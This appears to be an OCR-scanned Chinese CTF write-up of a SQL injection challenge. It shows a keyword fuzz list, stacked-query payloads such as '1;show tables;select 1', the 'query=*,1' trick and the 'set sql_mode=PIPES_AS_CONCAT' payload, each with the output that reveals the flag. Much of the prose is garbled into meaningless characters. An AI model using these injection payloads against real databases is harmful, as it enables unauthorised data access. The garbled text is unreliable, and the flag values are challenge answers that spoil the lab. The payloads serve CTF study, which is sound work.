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REXGRT *, ", -1 EEREARKSH, KOWAEERIEN, HI Nonono. ARG H KA LN, TR fuzz T T,

3 & 200 U U 507
} && 200 U U 507
12 " 200 | U 507
19 and 200 O O 507
20 or 200 U U 507
21 if 200 | U 507
23 sleep 200 J OJ 507
24 regexp 200 UJ UJ 507
30 like 200 | U 507
32 from 200 O O 507
33 union 200 U UJ 507
36 insert 200 | U 507
38 delete 200 O O 507
39 update 200 UJ UJ 507
H create 200 U U 507
12 where 200 J OJ 507
7 order 200 U UJ 507
32 floor 200 | U 507
39 updatexml 200 J OJ 507
30 extractvalue 200 U LJ 507
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Give me your flag, I will tell you if the flag is right.

‘ ‘ Submit Query

Array ([0]=>1)

WS ; AT, H2 R R EERIFGEIER, FA from #HZHET. - .
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Post data query=database();select 1
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| | Submit Query

Array ( [0] == ctf) Array ([0] == 1)
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query=*

Post data

Give me your flag, I will tell you if the flag is right.

| Submit Query

SERETAM. o  REE, XA WEAPOTIERT. EE sql ARIXFERID?
sql = "select $_POST['query'] from xxx";
RIGHEE BT fuzz SRR | MRAEBOTUE, MEEEBER—EH?

B EBRRMT (AL, 42k TR, TRAASFENRT T, SREALTEN. . .

mysql> select * from test;

tommm - s +
[ id | name |
tommm - Fommm - +
I | baynk |
| 2 | cisco |
tomm - e +

2 rows in set (0.00 sec)

mysql> select 1 from test;

[ 1]
+---+

2 rows in set (0.00 sec)

mysql> select a from test;
ERROR 1054 (42S22): Unknown column ‘a' in 'field list'
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mysql> select 1|id from test;

e +
| 1]id |
R +
| 1]
| 3
R +

2 rows in set (0.00 sec)

mysql> select a|id from test;

ERROR 1054 (42S22): Unknown column 'a' in 'field list'
mysql> select *|id from test;

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near '|id from test' at line 1

®E, * FERARM | —EH. . .

A REE H K sql A

sql = "select $ POST['query'] | col_xxx from table_xxx";

RE, union WAREH, RELMAFER, *®ERL, TRET —TFwriteupo o o I -. -

hhh , RBARIE , AT . - -

mysql> select *,1|id from test;

+o----- Fommmm - Fommm-- +
| id | name | 1|id |
+o----- Fommmm - - Fo-mm-- +
| 1 | baynk | 1 |
| 2 | cisco | 3 |
Fo--m - B Fommm-- +

2 rows in set (0.00 sec)
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Post data query=*,1

Give me your flag, I will tell you if the flag is right.
‘ ‘ Submit Query

Array ( [0] =7 flag{2e592e01-bd5b-462d-808e-8c5eb77894bf} [IL] == 1)




0x02 5% [ 2
23 flag U5, T HIEBE N4 show tables Fl show databases NEHBEIE, REE select database() To o o

RHEAEHRIES] from table_xxx WA LHEE, HER—K.

Post data query=1;show tables;select 1

Give me your flag, I will tell you if the flag is right.
‘ ‘ Submit Query

Array ([0] == 1 )JArray ([0] == Flag ){Array ([0] == 1)

BR—R, MERLHEEE flag

Post data guery=T;select * from Flag;select 1

Give me your flag, I will tell you if the flag is right.
Submit Query

Nonono.

B, ZRENMR, RETRELEWE Flag BEHFLEN. . o o TH from RLGEAI, , RTKT .
EME, RRMBEE dnsloghhifs B HRATUSE XA, AdRABEAFEANR, HTERAHT. - .

0x02 7 3 i@

EF—Awriteup Lifl, LML ZIETUAM, FHIMIZZ 1;set sql_mode=PIPES_AS_CONCAT;select 1.
WFEREEITIE, £& T F set sql_mode=PIPES_AS_CONCAT , FISRALEE | MIFF 51, 5 2t #R/E s i Bk,
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% splitURL
’ Execute
Postdata [ | Referrer @ OxHEX X @K %URL 3 @ BASE64 I  |(Insert string to replace H."nser: replacing string Replace All 2 | =,
Post data

query=@@sqgl_mode;select 1

Give me your flag, I will tell you if the flag is right.
Submit Query

Array ( [0] == STRICT_TRANS_TABLES.ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION ) Array ( [0]=>1)

H-H payload L.

] Post data || Keterrer Wi UXHEA 7 = VUKL =7 T BADED

Post data query=1:set sql_mode=PIPES_AS_CONCAT:select 1

Give me your flag, I will tell you if the flag is right.
| | Submit Query

Array ( [0] == 1) Array ( [0] == 1flag{2e592e0f-bd5b-462d-808e-8c5eb77894bf} )

RIEHRBE—T mode WERE T UUESZBM AT, 4R, HZE. - ©

Give me your flag, I will tell you if the flag is right.
| Submit Query

Too long.

T B _ET ) payload Z2ANEREAT, RBRRAUYME, 4E&.
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